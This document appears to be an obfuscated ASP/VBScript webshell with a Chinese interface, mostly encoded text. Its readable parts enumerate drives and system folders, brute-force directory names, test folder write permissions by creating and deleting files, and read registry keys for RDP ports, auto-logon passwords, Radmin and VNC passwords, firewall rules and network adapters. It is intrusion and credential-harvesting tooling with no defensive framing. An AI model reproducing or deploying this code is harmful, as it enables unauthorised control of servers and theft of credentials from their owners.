kLWdWO;mP[,4YmnxbLGSKY!lcNCn"onIcp/SPx~9DWAdklKxbLKSGDEm╋╁@*D(@!╁,'P:CxM+di koKJWDEl,'~╁P=户帐统系的╁[╁录登动自╁N╋#z+F./ixbLWdWO;mP[~4DlKxbLKSGDEm`Nm+"L+"Rp/SPx~:l .+kjxbLGSKY!l╋n/s3╋ +4K,TP{Pns(lx3UboGSKO!bdbP6q╋#H+nnV(lU2 kLGdWY!CPLPtDCKxboKSGY;CvNC+"L+"RpdSP'~n^4CxAUboGdWDEbkk╋╁9.WS/dlhYs;m0+G╁~',X+nddlhxboGSGO!l╋╁n:mHD/iO^ElWnG╁PxPHnnDnkj koKSKOEm╋╁xGoKSUrsNbKOEz╁P',zn|V(lU2UrTWJWD;l╋╁'xGLKVxr 'xGkk..O +MDE;-:HPkhGN k wD0WkGD1kH'3]bqKwrj-3H&C/btmSzZ6J|52Fu╁,'~tDChxrTWdWY!l╋6(P9x3╋╁@*JD8@!╁,[PD.Wh:DO~[,╁P=口端╁[╁务服端终前当╁%╋+dsAP╋╁@*zM8@!c制限到受否是限权查检PS口端端终到得法无╁%╋,x+4P,!~@*@!~M+8sEgRDM2,.r,╁╁PxPDDGKsD+D~0&╋╁@*VK@!录登动自及╁'╁口端务服{端终╁N╋#H+FY.GhVCxbhDY~',tYCKDDGn^C khM+D`Nm+"L+"Rp/SPx~DDWhhDY╋╁D8hEgYMWK╁Px~H+FYMGn^lUrsD+O╋╁wamPOh9"-d WbYlD? r'Dn\M+j~^lxbhDK-^G.Y W;-O+jsKDOxK/Y +..!Z-\3:?e?'\d|u╁,',tYmnD.WhVCxb:.nD╋NDKA/kln rLWdWDECPSnslUDdj kLGdWY;C,~z+nn^4C 2 koKSKOEmPS+^4CUAxkTGSKYEzdrPskG╋Xn|ddmnUkTGSKY;C,~XnFM+dj rTWJKY!lPBtDCn kLWdWO;mP:b9╋YMWns.nY,~H+FY.GhVCxbhDY~S4YlKOMWKVmUb:.Y,:kG╋#╁^s+4? Yak.^U╁`D^+N4rOC+MZcDn\.nUPxPodh,Ynj╋╁ OORR ORO R OR O OO O RO ORO ORR OO RO OO RRO O ORORR ╁L╋╁@*D(@!╁[DDGKqbn'╁l为口端DntSz b^h@*bV@!╁N╋╁+MntSXUb1w装安否╁'╁是机主╁'╁认确请c取获╁[╁法无╁'D.Whbh~U+4Y,╁╁'ODGKqbKP6(╋#H+FnM+tAz b^wv[m+]T+"Rtk{ODKn bh╋╁Y.GhlYm9n&nZ:wh+D/H?wxGrkDn.DU+MD;/'+Dn4SXUb12'mnDxm:XU-A]bqKorU-3H&CZz\{dbZ}Jm5A|_╁'z+FnM+4hHUb1w╋╁@*O W0&@!@*D8@!╁LOMWKsDK[╁@*N.'MWsW1POUK0@!=为口端nmb\Dj~Vmxb:.+P@*bV@!╁L╋╁机主本版Mn\M+j~khW[Ub为否是╁'╁认确请R取读╁L╁法无╁xDDGh:M+K,x4K,╁╁'ODKnh.KP6(╋#H+|s.nKvNm+]on]ctd{ODKnh.K╋╁Dn8sEHYMGh-21Y'/N:-9Aw9Dw/9w.\DjP^lxbh.+:-^W.YUG;-O+UsWMYUG;Yxn.ME/-t3:?eU-A1q_Zz\{db/rd{e3nC╁'Hn|sD+:╋╁@*.4@!╁[DDGwOU^K'╁)口╁L╁端O+ VnP@*kV@!╁%╋╁*置设╁[╁认默c&y╁xDxs:P +t:P╁╁{ODKnOx^K~Wb╋#XFYxVPcNm+"onI 4kxYMGnDxsP╋╁DDWKOxs+:wZRq'D\D?Dnx^+P-D0GdKDmb\P'2Iz Ps}?'2Hqu/zHmSz/rd{e3nC╁'zn0Ynx^n:╋╁@*q{+.k/,D4@!@*M4@!T测探╁L╁口端╁[╁殊特,@*M4@!@*.4@!╁L╋0b~[x╋YX+H╋╁@*.8@!ORO RO ORR OORR ORO R OR O OO O RO ORO ORR OO RO╁N╋0k,[U2╋6k,NU2╋╁@*.(@!╁%╋YXnx╋╁B╁[b%vhWssmn9j,%╋*hG^VmwN!`9UEKAiPKK~bSWV^Cw9E`9U;W~S,'~L~.K0╋╁l为口端w9;的╁[╁许允@*ks@!╁N╋+/s3╋╁@*D8@!部全=为口端29E的╁'╁许允@*k^@!╁L╋ +4PPZ'b!vhGs^lw9;PMWP╁╁{bT`SW^VCw[;,0(╋#h9j^V;ovNln]T+]R4dq'AKV^lw9E╋6rP9x3╋╁@*MA@!╁%╋D6+g╋╁S╁[*L`SGsVmw1Y~L╋bAKVsla^YvNU;KAj~G:PbhKs^l21YvNx!W~JP{P%PMWo╋╁l为口端amY的╁L╁许允@*k^@!╁L╋ds2╋╁@*D(@!部全l为口端w^O的╁L╁许允@*rV@!╁%╋xtP~Z'#TcSWsVm21Y~MW,╁╁'#Z`SGV^l2mDPW(╋*nZ:sV!s`9CnIT+"R4/ xSWsVm2mD╋|i3LAN2)LtOlaxhfi^V!s╋|:2L$Nab'tDlKxhZK^sEw╋╁/YMGKNhKVsbK9`-╁x|`3╋╁/DDGK9+hGs^bKZ:w╁{|PA╋+kV+╋╁@*D(@!选筛n&z2m:没@*rs@!╁L╋P nt:PF{.nY^k6wrw^OK1~0b╋Wq,NU3╋╁@*D4@!置设有没或取读法无jgf╁'╁认默@*bs@!╁L╋nkVA╋╁@*D(@!╁L.Yk?HfL╁)为jHG╁[╁卡网@*bs@!╁N╋x+4P~╁╁@*@!DD/j19~6q╋bXF?gfc[m+ILn"R4/qxMYdU1G╋╁D+7Dj+slH-╁LA[2z[tDCn{X+njHf╋6k,NU2╋╁@*.(@!置设有没或取读法无关网@*k^@!╁L╋/s3╋D6+H╋╁@*M4@!╁[*%vXCS+DlML╁)╁L%[╁关网@*ks@!╁N╋#zCS+Ym!`9xEK8iPKY,#zlAnDl!`9UEK4JxNPDGo╋ +4K,bHl YmM`HlM.lkk~0&╋#znnXlqnYmM`9CnDT+"R4/ xHl +DCM╋╁HlAnDlMOs!lW+Gw╁LA[abLtYmn{z+nXCYC!╋6kP9U2╋╁@*D4@!置设有没或╁'╁取读法无址╁'╁地n&@*bV@!╁L╋nd^2╋O6H╋╁@*M4@!╁'*L`.[9bKqL╁l为╁LL'╁址╁L╁地n&@*k^@!╁N╋bD9N)n&`[U!W4`~WDP#M[[bhqvNUEG8d'%PMGs╋ +4P,╁╁@*@!bTvD[NmK&PW&╋#H+|hqv[lDL+"R4dq'D9[lhq╋╁/kn.N9bhqw╁[$[ab'tDCn{XnFhq╋╁-dn1lWDO qwkDY+slMCn'wrw1Kwdmk7.+U-FZTO+UVKDOxG/'H3KUe?'2H(_Zb\mdb/rdmI2F_╁'4Ylh╋╁@*M8@!╁LA[wz[╁l为列序的╁'b[╁卡网╁L╋*╁╁S╁-mk7n9-╁B#b`dN2)v+^l^2+"'$[ab╋FRbkN2bv[ EG~j,WK,#k[wz`[x!W$J{kPMGs╋,x+4P~#kNabcXC.Mbdq,Wq╋*XnF9wbc[m+]o]ctdq'kNwz╋╁N rA'+Ll0xrJ'wka^K'/+1r-D?'FT!OnUVGDDUW;-\3:?5jwtSFC╁{z|[ab╋6qP9xA╋q'M+OVb02ramYKH╋xtK,╁╁xnV(l 2dk~.KPT's4mx3dbP0(╋bH+Fwb21Kn^4mx2vNmnDT+]R4/ xV4mU2kk╋╁/MnOVbsHYrD;^?nV(CxA-d.Y+hCMlK-aramP'/mk7Dj-D+jVKDOUKZY nDMEm'\3KU5U-\SFu╁{Xn|h(n;Kns(lx3╋╁@*8'nybd,D4@!@*M4@!Y测探╁[╁络网]╁%╋#╁^VntURO2bDmk ╁`Dm+N8G+DlD^'4dSPO+k╋4/SPhr9╋Y6nU,+hEknMP.KDM+P W╋*cW6x(VmxrhM+KDno,4EkEb#@#@&@#@&dE8~4k[NU/4+ss@#@&02CDtxD5!+dDRk+D7+M-lMkC4^+dcrwlD4{DDl dslD+9Jb@#@&dY~0kG'k+.-DR^.lO+K8N+^D`r/mMkaOk o 0bVndH/YhW(L+1OE#@#@&a+a'E^K:qu1G:yu^Gs&u^GsckmKhlu^K:+umK:FkmK:0u1Wh1-VwDqu^wYykswD&-V2Y*k^wO*-swDvksaYGksaY0u^2D,E@#@&MxNa+Xx/aVrYvwnaBJurb`MxN ;h4Dv!SF{b*@#@&/d/bWUcr/+s%SJb'rE@#@&WbVwlDt8x/D-+MRhCawlD4`rRJ*@#@&0bVxC:nq{Dro4O`6wCO4~VnUv02lD4*Or /DDD\vWwmY4~r-Eb*@#@&!.V{D+$;n/DRk+.\n.7l.km8V/cE!DVEb@#@&;D^x^+WD`!DVBk dYMDn\vE.sBJzrb#LDx92n6LJcJ'0rsxC:q@#@&0dGcmW2z6ks+,WalO4~r--c-r'0bVnwmY4qLJ-r'D Nwa'JcJL0rVnUm:nF@#@&/Y~WkW'UGDtrxT@#@&L~r@!kmDbwD@*wmDnxDRsG1lYbGx{BtDO2)Jzr[.+5;/O`rd+M\n.|xlhnr#'EMsLJ_wxm:+{zbhlT+dzcld2L0k^nxm:+8vI@!J/1DrwO@*r@#@&+ [PkE8@#@&@#@&j;(P\+kdmonv/DlY~sdoB0slT#@#@&NJ@!:)Ad2PSr[Y4'W%TP8GMNnD{TPmVrL 'mnUD+.P1n^V2mN9kxT'Z~mVs/al^r o'8~4TmW^G.'[N9N@*P@!P"@*@!z:]@*@!K]@*@!Kf~C^kLx{hbN[^+,4o1W^GD{anm6m^[@*@!Kz$SAPhb[Ot{%y]~4G.9+.'Z~mVs2mNNrUT'XP1n^Vdal1kxT'Z@*@!:I@*@!:f@*@!wr1:~mKVWMx.+9@*r@#@&L~dDlO+@#@&Lr@!&o}1K@*@!JK9@*@!P"@*@!:f@*@!n@*JLh/T@#@&Lr@!&K@*@!z:9@*@!zK"@*@!z:b~S3@*@!&:f@*@!JPI@*@!P]@*@!K9~1VC/kx:A3 N@*J@#@&q6~0^lL'ZPP4x@#@&%J,@!qgKiK,YHwn'8;DYGx,-l^Enx关闭,Wx^sbmV'EAbx[KhcmVK/c#pB@*J@#@&3sk+@#@&3x9Pk6@#@&Lr@!JK9@*@!&:I@*@!JPb~S3@*r@#@&3U9PjE(@#@&s; mDkW P"nNv/OD*@#@&]NP{~J@!srgP~mKVKDxaWWy + @*EPLPdOMP[~E@!zorgP@*J@#@&2 NPwE ^YbWU@#@&@#@&o!xmDrW PI [HEs4DcHrUBHC6*~@#@&ICU9W:r"P@#@&"U91;s4D'&xDc`tlaP P\r P_,q#,eP"U[`*P3P\kUb,@#@&2 [PwEU^DkWU@#@&@#@&@#@&j!4~UmmxfMk7nsKDh`*@#@&9b:PwjrBfDb-nA@#@&U+OPoj}PxPUnD7+. ;D+COW8L^D`EUmMkwDk LRwks+UXdO:r(%+1YJ*@#@&Lr@!(D@*@!P)~S3PSrNDtx*R!P8GMNnD{T,lsbo 'mxDnD,mnV^wC[9kxTx&,m+^sdwmmbxL'q~(o^W^GD{aWW600W@*@!K]@*@!PGP^KVkwl 'l~m^ld/{K$ulN@*磁盘&系统文件夹信息@!JKf@*@!&K"@*r@#@&P~oKD~2m^t,f.r7+A~r Po?} GDr7+k@#@&NJ,@!K"PCVboUxskN9s+,mVmdd':A:f@*@!o6"H~l1OkKxx_zmYrG 'jmmUGDr7+LfDb\xJ@#@&%PGDr-ARG.k7+SOO+M@#@&LEPhnDtGN{KWkY@*@!:fPAr9Y4'yXr[^4Dv&G*[r@*@!~@*盘符@!z~@*@!&:f@*@!Pf,hk9O4'8*r[^t.c2Gb[r@*J@#@&%~GDk-n~R9Db-SnDYD@#@&Lrl@!JK9@*@!K9~SkND4'y!JL^4Dv&F#'J@*@!~@*类型@!z~@*@!JK9@*@!Kf~AbNOt{+ZJ'1tM`&F#LE@*r@#@&P,?nsmY,/lk+PG.r\Acf.k-n:X2+@#@&P,ZCdPFl~NJ可移动E@#@&~,ZCk+, ),Lr本地硬盘E@#@&P~Zm/n~2)PNE网络磁盘J@#@&P,/C/PW)~LE/GO]rtE@#@&P~/m/+~X=P%J")t磁盘J@#@&P,Zlk+,nVk+lPNJ未知类型E@#@&PPAUN,?+^n^Y@#@&NJ@!zP9@*@!Pf@*@!qgniP,YX2n{/;4srDP-mV!+'详细报告@*@!JPf@*@!&s}I\@*@!zK"@*J@#@&P,Hn6D@#@&LEP@!P"P^Vmd/{K$PG@*@!o6"H~l1ObWU{gzmYbW x?1sGV9+.'wWV9nD{J@#@&%~sUrcMnYj2mrl^oW^Nn.v!#@#@&NJ~:O4W[{nK/Y@*@!:9PmVro 'hr9NV@*@!~@*bU[WS/文件夹@!z$@*@!&:f@*@!:9P1Wsdalxxf@*J@#@&N~w?6cMY?a+1rl^sGV9+.cZ#@#@&%J@!zKG@*@!KGPmVroUxsk[N^n@*@!qHK`KPOza+x/!8skO,\mVE'详细报告@*@!z:f@*@!Js6]t@*@!JPI@*@!K"~^Vm/k'PAP9@*@!or"\PmmOrKx'_)1YrW xUmoKV9+DLsKsNDxJ@#@&%~w?rc!+D?w^rl^sKV[+.c8#@#@&NEPs+O4KN'KGkY@*@!:9,lsbo ':bN9s+@*@!$@*UXdO:&y文件夹@!z~@*@!JP9@*@!KGP^WsdalU'2@*J@#@&%~w?r !Yjw^blswW^N+M`8b@#@&LE@!JK9@*@!Kf,CVbox{hrN9V@*@!qHK`K~YH2+{/;8skY~-mV;+{详细报告@*@!zPG@*@!zs}It@*@!JK]@*@!K]~1Vlkd':AKG@*@!s}ItPCmOrKxxgz^YbWUxUmsGs9+.[wG^NnM'r@#@&NPwjrcMnYUwn^blVwGV9+Dv+b@#@&LrPh+O4KNxnKdY@*@!P9,lVrL 'hk9[^+@*@!A@*系统临时文件夹@!z~@*@!&KG@*@!KGP^G^/wmU'2@*J@#@&%Pw?}R!+Oja+^kmssKV[nM` b@#@&LE@!JPG@*@!:f,lVbo x:bN[V@*@!(gnj:~YHw+{d;4skDP-ls;'详细报告@*@!JPf@*@!P],mVCdk'PA:9@*P@!wr"HPmmDrW '~:Y4G9'nKdY@*J@#@&%E@!:f,lskLU{:rN9s+@*@!$@*站点跟目录@!zA@*@!JK9@*@!PGP^KVkwl '2@*站点跟目录@!:f~l^kLU{:k9[V@*@!m~4D0{J'j]JLJ_b1OkKxxj1sWs[D'sKs9+.{JLhhSDKGYLJ@*@!(@*详细报告@!&(@*@!JC@*@!zKG@*@!K"P1VC/dx:APf@*~@!wr]\,lmOrKxxPsnDtG9'hW/D@*r@#@&NJ@!KGPCsbox{hk9NV@*@!A@*回收站目录@!JA@*@!&PG@*@!KG~mKVd2mx'f@*回收站目录,@!Pf,C^kL 'skN9V@*@!mP4D0xELjId'JQbmDrGx{?1sGV[nM[oW^[+M'^l'D+^z1VnD'@*@!4@*详细报告@!z(@*@!Jl@*@!z:f@*@!:I~^^l/kxK~Kf@*~@!s}ItPCmOrKxxPsnY4W[xhW/O@*@!K9PmsboU{:bNN^+@*@!A@*hhw!4目录~@!JA@*@!&KG@*@!:9~mKVkwCxxf@*hhw!8@!:f~C^koUxsk[N^n@*@!C,tM+0{JLiId[EgzmOrKx'U^sKVN.'sKV9+.'^l'hhw!8-@*@!8@*详细报告@!z4@*@!Jl@*@!JPG@*@!JKzASA@*@!$I@*J@#@&NJ@!&wrIt@*@!JKI@*@!&KzAd2@*@!$]@*@!9qj~l^kLU{m+UOD@*@!w6"H~zmDkW 'Q)mDkGx{?^oKVN.Ps+Y4G['hWkY@*指定文件夹查询:@!(HhjPPDzw'OnXYPUCs+xsKs9+.,\mVE'rEm=-2ta-S[=-nMGoMl:,orV/'~/)w9Km;:UYkPCU9P?nODkUokwzVs,jk+Dk-GGm!:nxD/wS;)-MnmHmV.w~9)'Dnmz^^+.-Bn)'Dn^HmVn.'~W)'.mz1VD-BZ=whsw;4'~/l'qg9rq?-:nhw'~;)w&TM+^~;l-1l^4~Zlwxn3M;CaY;M+BZ)'q nYaE8Jr@*@!(gnj:~YHw+{d;4skDP-ls;'生成报告@*P批量查看目录权限B输入新目录用“S”隔开。@!Js6]t@*@!9(j@*E@#@&jY~w?}'1KY4rxT@#@&2 N~j!4P@#@&?!4PU^CxGDb\n`9.b\n#@#@&fb:~oUr~PnkY9Db-~$m/sW^N.~:+hwwWs[D/BP+sw{UO.~G@#@&qWP9.b\nP@!@*PrJ~P4+x@#@&U+OPwj}Px,?D\Dc/DlO+K4%n1Y`rjmMkwDrUocsbVn?zdD+hr(%+1YEb@#@&?nO,Kn/D9Mk-P{PsUrc!+Df.k7+c9Mk\b@#@&q0,Pn/DfMk-+ (kInl9zP:tnU@#@&Knha{jYM~{PE@!S&@*磁盘分区类型:J,[,]+9`P+kY9.b\+cok^+?HdO+s#,[~J@!J&@*磁盘序列号:EPL~INcP/Y9.b\nRUnMkC^1!:4D*~[,J@!S&@*磁盘共享名:E~LPI[`:+/D9.k7+c?4l.nglh+*~[,J@!J&@*磁盘总容量:J~',InNv/&xOvK/YGDb-+cKGYmVjr.+z8TcR*G+bbPLPr@!Jq@*磁盘卷名:E,[~I[`:+dOGDk-nc.GV!h1Cs+*P[,J@!Jq@*磁盘根目录)EPLPj^"+Mc`GDk7n~[,J=-E#b@#@&?nY,$lk+oG^N+.~{PP+kOGDr7+cIWKYwGV9+.@#@&?nO,K+s2sKVN.dP{P~ld+oG^NnDcjE(sGs9+Dd@#@&sGD,3mm4,f,kx,KhwwWsNDd@#@&K+s2{UYD,x~K:a{jY.~LPE@!d(@*文件夹:rP'~UmIn M`9#@#@&g+aD@#@&?+DP:n:asGV9+.~{P1KOtbxo@#@&j+DP~ld+oG^NnD,xPgWO4bxo@#@&AVd+@#@&:+ha{UYD,',P+swm?DD~',J@!d(@*磁盘根目录=JPL~]+9`r不可读)cJb@#@&fr:,P+swoG^N+.Jb/O~DlD'T@#@&:+:a{UOD,'~K:2mUYD,'Pr@!S&@*EPLP"+[`E穷举目录测试:E*@#@&KhwwWs[DSrdDPxPz.MlzvJSkx9WSdJBJAk xOEBJhbUJBJhbU+!Z!r~EhrUO%E~rA+(JSESkxhnr~EhbU9WAk Z!!r~rC/aJSJat2EBJKKGVkJ~r9Gm!:xO/~C N~?OYbxLdr~JK.Ko.ls~wks/r~J&xOw!4E~r0O2r~JShw!4JBEO0Dwr#@#@&oGMPrP{~!,YG~`4W;U9`P+s2wWs9+MSkkY*@#@&&0~sUr oKVN.2Xk/DdcfMk7+~[~E=-EPL~K:2oKVNn.dkdYvr*#~:tx@#@&Y,xPD_q@#@&Knha{?D.P{PKh2{UYMP'PE@!dq@*发现文件夹:J,'PUm]nqD`9.b\nPL~r)wrPLPK:aoW^NnDdkdOvk#*@#@&AxN,rW@#@&16O@#@&(6PO'Z~Y4+U~:+:2mUY.P{~:+ha{UYD,[,E@!dq@*已穷举J,[~9Mk\~[,J盘根目录,但未有发现)vE@#@&Ax9Pr0@#@&U+OP:n/Df.r7+Px~gWOtbUT@#@&U+DPsUr,xPgWOtbxL@#@&K+s2{UYD,x~K:a{jY.~@#@&\+kdlT+~9Mk\n~LPE)磁盘信息rS:+ha{UYDBF@#@&2 N~k6@#@&3 NPU;4@#@&?!8~?1sKV[+.c6WsN.#@#@&~v}xP3.MW.P"nkEhPg+6D@#@&WW^NnDzD.~{P?askD`0Ks[+M~r~E#@#@&wW.Pb~',!~PKPj8G!x[`6G^NnMbMD#@#@&i9ksPo?}~6oKVN.~:+:aoGV9+M~jmhdT~j@#@&7?Y~oUrPx~U+.\.cZ.lD+W(L^YvJjmMk2Obxocok^+?HdO+sr(LnmOE*@#@&d6GV9+.~{P0Gs9+.bM.vkb@#@&iq0,sU6RwWsND3ab/Ykc0KVN.bP:tx@#@&7~U+OP}oW^Nn.,'Poj}R!+DoKV[Dv0W^N.#@#@&7?Y~P:wwGV9+Dk~xP}sKV[+. UE8sKsNDd@#@&d?^hko~',E@!S(@*指定文件夹根目录:J,[PUm"nM`WW^Nn.*@#@&ioWMP2m^4PUPbx~KnhasGV9nDk@#@&7,?mhdTPxPU^s/LLJ@!Sq@*文件夹:J,'PUm]+qDcj*P@#@&716Y@#@&7?Y,Kn:2oKV[+MdP{PHGDtkUL@#@&7?O,roKV9+D,',HWDtrxT@#@&7AV/@#@&iP?1hdo,',?^:dL,[~J@!Jq@*文件夹:J~',I+[c6WsN.,[~r不存在或无读权限"r#@#@&dAUN,kW@#@&dj^s/o,xPUm:kL~[,J@!4.@*@!8M@*注意:不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件ZJL8l13;.^@#@&7jY~sU6,'~gWDtk o@#@&dt+d/mon~rJ~U^:ko~8@#@&x6D@#@&2U[,?;4@#@&s!x^ObWx~j1InMc6Ws9+M#@#@&r ~2MDGD,Ind!:+,H+XY@#@&9r:,sUrSKndDsGV9nDBKndDsksndkdYB].UYM~I NwrVxC:@#@&jYPwjr,'PUn.\DcZ.+COW8L^YvJj^MkwOr o sbs?zkY:r(L^Yr#@#@&U+O~:+/DoW^N+M~xPw?}R!+OoKV[+Mc0KV[nM#@#@&jY~KdDsr^+dk/DP{~K/OsKV[nMR?!8sKVN.d@#@&I Noksn lh+,xPr-OnswJ~',fCXvUKhb,[,CW!DvUWS#~[,HrU!Y+vUWS#PL~j+1W NcxGA*P'Pr YswE@#@&sW.~Al^t,),kU,K/Ywk^nSb/O@#@&1naD@#@&&WPDD,P4+ @#@&+.D /^+CD@#@&I.jDDPx~6WsN.,[~r@!wr1:P1GVKDxa60++y @*,不可读SJ@#@&sU6 ZM+mYnKnaDsrV~0KV[nMP[~] Nok^n lh~:DE@#@&(0,+.D,K4n @#@&.DcZVC.@#@&I.?O.,'~I DUY.~LPJ不可写。@!&wrHK@*E@#@&3^/@#@&"+q.?DD~',In M?YM~[,J可写。@!Jo61:@*r@#@&sj6cfnVO+wksn,0Ws[D~[,] NobVxls+BPD!+@#@&Ax[~&0@#@&3Vk+@#@&]nM?DD~'~WKV[+M~[,J@!o}1K~^KVGD{:9N[9N9@*P可读BJ@#@&sUr ZM+COK+XOsbV+,WGV9+MP'P]U9srVUls+SPME+@#@&&0~+M.,K4x@#@&+MDc/Vl.@#@&In M?YM~',I+q.jYMPLPE不可写。@!&o}1P@*r@#@&AVdn@#@&In M?OD,x,InqDUYD,[,E可写。@!Js61:@*E@#@&s?} fV+Dnok^+,0GV[nMP'P"UNwksn l:nS:D;+@#@&Ax[,k6@#@&Ax9~k6@#@&?Y~P/YwrVSkkO~',1KY4kUL@#@&j+D~K/OoKVNn.,'~1KO4kUT@#@&?+DPwjr,'~1KY4r o@#@&jm"+M~xP"+qDjY.@#@&2UN,oE mOrKx@#@&W!x^YbG PLK4mm3v#@#@&/Y~r6/G~{P?.\DR;.nlD+}4%+^OvJjmMrwDkULcsksnUXdYh}4%mDJ#@#@&knY,WWW^Nn.,'P}W/KRMOWW^NDc?ndkkGxvEsKV[nMnlO4r#b@#@&r6PUKY,W0KV9nDcqdIKWOoKVN.PDt+ ~@#@&NPr@!dm.raY@*?4GhwWs[D`EEr[]+hCDtcK0KVNDc2lM+UY6Ws[D#LEJr#@!Jd^DbwD@*E@#@&n^/nP@#@&L,J@!d1Dk2O@*?4WSoKV[DvJJr[Un/kkGxvJoG^N+MKlDtJ*'EJr#@!zdm.raY@*@!1nxD+.@*已经是磁盘根目录了e@!z^n YnD@*@!1+UD+M@*@!(D@*@!qgniK,Yz2'4!OYKxP7CsE'返回,WUZsr13xB4r/DW.zcoWcR8#IB@*@!J4.@*@!Jm+ Y.@*r@#@&+ N~r6@#@&knY,r0kGxxKY4kUo@#@&k+OPKWW^Nn.{xWO4bxL@#@&n N~6E mYbW @#@&Utr?mxxE(E/,[x╋0k,[U+╋6q,NU2╋zCMD)+4OPLP╁@*r^@!╁P%╋nkV3╋YXng╋#rvXmDDz+4OPLP╁@*k^@!╁~%╋*XlM.btYv[UEKA`PGK~T{k~DKo╋xtP~*Xl..z+4YvzmD.z/&P0&╋#4Olh+4YvNCn"o+" (kh'HC.Dz+4Y╋b╁tOCh+4Y╁vO/E5n"'tOCh+4Y╋*╁s^+4URDwkMmU ╁`DmnL(rnOm+D; D\Dj~',(kh~Ynj╋D6n1,n:!/n],DW..APUr╋ n4Y~╁╁@*@!*╁tYmn4Y╁vYd+!;n],0k╋╁@*&D4@!@*s.G0J@!╁,L╋╁@*BbcDkh4!dRsDGWc/k4OE'Vmbs1xG,B值,键P读B{+!sl7PUWDY;8{+wHOPDEw r@!╁PN╋╁@*Z%x+"rkPvB{nE^l-~4YlKn4Yx+sC PO!w k@!,╁PN╋╁@*z,D8@!@*Y^n^+/J@!╁PN╋╁@*xKrOwKz@!口端n/K的放开许允@*vkY.Wh[+SWssznZPw)2+AAXlZ9Rc2FO2sw)O;!$c ,13RO%yq*+cbR`w/mm0.+OU&-dDO+sl.Ch-wr21Kw/^b\.?'F!ZYjVKDOxKZw\AK?Ij-tS|_vx+!Vm\~xGrDwG@!╁,%╋╁@* WrOaWz@!口端KGj的放开许允@*BkOMWK9+SWV^bh9j'83 ~2XX;f%WfF &sw)RZZAWO1,30 %+Flcz%`wk+mCWM+Ox&wkDnD+slDmn'2kamP-k+^r7D+UwFZ!YjsWMY W/-\3:?e?'\SnCvxEVC-,xGkD2K@!╁~N╋╁@* WkDwK&@!放开火防@*BKZ:)102&-Ddkd-/D.Gn +arzVsC(WsM'nVb0G.hNDC[ lO?'z1ksKn^VlS+Mrs'/.+D+hCMln'd/mmz[nDmtU-d+^r7Dn?'O+UVG.DxW/O +.D!/'H3:?I?-tSnuB{+;Vm\~UKkYaG@!╁,L╋╁@* GrYaWJ@!LWJ~V;N4mU@*v4DlnLGd-OxLzoUbV!N+4mUwY6WdWMmr\'2Iz Kwr?'3Hq_ZzHmS)/}Sm5AFCE'n;^l\~UKkOwK@!╁,L╋╁@* WbYwKz@!f滤过wbz2mD@*vdM+Y^rsHYkM;^+U+^4Cx3wak2m:w/mr-M+?wO?sWMO W/DxDD!Z'\2:?e?'2H(_ZbtmSzZrdme2nCE'nEsC7PUWbOwK@!╁~%╋╁@*xWrOaW&@!y滤过2bz21Y@*B/M+DskwXOkME^nU+V(CxA-wb2^K'/mr\.nU-+!ZO+UVG.DxW/wt2P?Ij'2H&C;bH|Sz/rd{e2nCvxEVm-P WkD2G@!╁,L╋╁@*xGkO2Kz@!F滤过arzamO@*E/DnO^koXDrME^?V4mxAwwbw^K'/n^b\Dj-8!!DnjVKDDxGZw\AKj5Uw2gqu/zH{J);rJ{I3nCv{+!Vl7P GkDwG@!╁,L╋╁@*UKkYaGz@!口端态状X )^n@*╁╁YMWK/;OmYjn&KZ:-hnD/Xjw Wr/MnjYUDMEZ'+MntSXUb1ww^YxmhXU-2") KwrU-\SFu╁╁{+;Vm-P WrOaW@!╁%╋╁@* WrYaGJ@!口端据数 Hxzmn@*╁╁YMGnmYCfhqK/:-:O/H?- Gr/M+jYU+..!Zw+MntSXU)1w-^nDxC:Hj'2]z:srU-tJ|_╁╁'nE^l-~ WkD2W@!╁L╋╁@* GrYaWJ@!口端1%ff@*╁╁Dn4s;1DDGK'wmPRhf]-kUKkOmYUxkq-Mn\M+jP^lUrsD+:wVKDY G/-D+UVGDOUKZOx.D!Zw\AK?ej'HJ|_╁╁xEsm\,xWbYaG@!╁N╋╁@*UWbY2GJ@!口端c;H.@*╁╁D+(h;1DDKnwc/Hjxr'/1jVCn"-2])qKorUwtSF_╁╁'EVm\,UWbY2W@!╁L╋╁@*UKkYaGz@!码密cZg#@*╁╁NMWS/dlKwWZH. r'ZH#^l+]wAI):o}?wtSnC╁╁'E^C\,xGkDwG@!╁N╋╁@*xKrYaWz@!口端f/1j@*╁╁M+8:;HDDGn'fZg.Urq-S]6'+.lSO6Wj'j;|C╁╁{+!sl7PUWbY2G@!╁L╋╁@* GkDwWJ@!码密fZg.@*╁╁N.WAdklK-2/1jxr 'SI6wDChDWK?w`ZnC╁╁'E^C\,xGkDwG@!╁N╋╁@*xKrYaWz@!口端Ur:9l"@*╁╁ODGK'/.+Dn:mDCK'D+-.?w!c+7-Ub:9bI'HAP?I?wHd|u╁╁xEVm-P WkD2G@!╁N╋╁@* WrY2GJ@!码密Uks[l"@*╁╁.nD+:C.mnw/MnD+hmDmn-M+7.+U-TRy\wUb:Nz]-t2KUej-tSnC╁╁x+;sm\~xKrYaW@!╁%╋╁@*xWrOaW&@!表列卡网@*╁╁[ k$'+Tl3 kdwwbw^K'/n^b\Dj-D+?^G.Y W;YU+..!ZwHAP?I?w\d|C╁╁xn!VC\,UKkOaW@!╁L╋╁@* WbOwKz@!+slH.YEahW;@*BhC1M+DE2:G/'+hlg.+DE2hKZ-nhm1.+D;a:G;-^WDDxK/-D+jVKDOUKZY nDMEZ'\3KU5U-\SFuE'nE^C\,xGrDwW@!╁~N╋╁@*UWbOaW&@!值键的带自择选@*EB'E^C\,xGkDwG@!╁,L╋╁@*EI+!Vl7 dk4Y{+;VC-ctOlhntDRh.K0Rdr4Yv'L l4;xKPY1+^n/@!╁P%╋╁P@* xUmw/^Gm,NY@!@*.Y@!╁PN╋╁@*Om)n4Yx+sCx,on]9l+]xEsl7~ +[9k4'+aXD~Y!wUk@!╁P%╋~╁@*w@!取读值键表册注╁,~L╋╁@*Y/K2xNKtD+hPh.K0@!╁PN╋b`V2][m+I~8!/E@#@&3X+/!K`?4kUCxwEU`Utrjmx#*~@#@&k0,.n;!+kYcJK.KsrVE#@!@*EE,YtnU@#@&Gx,nMDGMPM+/!:~x6O@#@&kW~zww^rmmYkKUcD;!+dYcEhDGsbs+r#bx8PY4n @#@&?O,0dK(oP',?.\D ZM+COr4NnmD`JU^.kaYbxLRor^+jXkO+sr8%mYEb@#@&r0,.;;/D`JG+^/W Jb'8PO4x@#@&)waVk1COkKxvDn;;nkYcJh.Wwksnr#[E/KxE#{Er@#@&M+kwW / 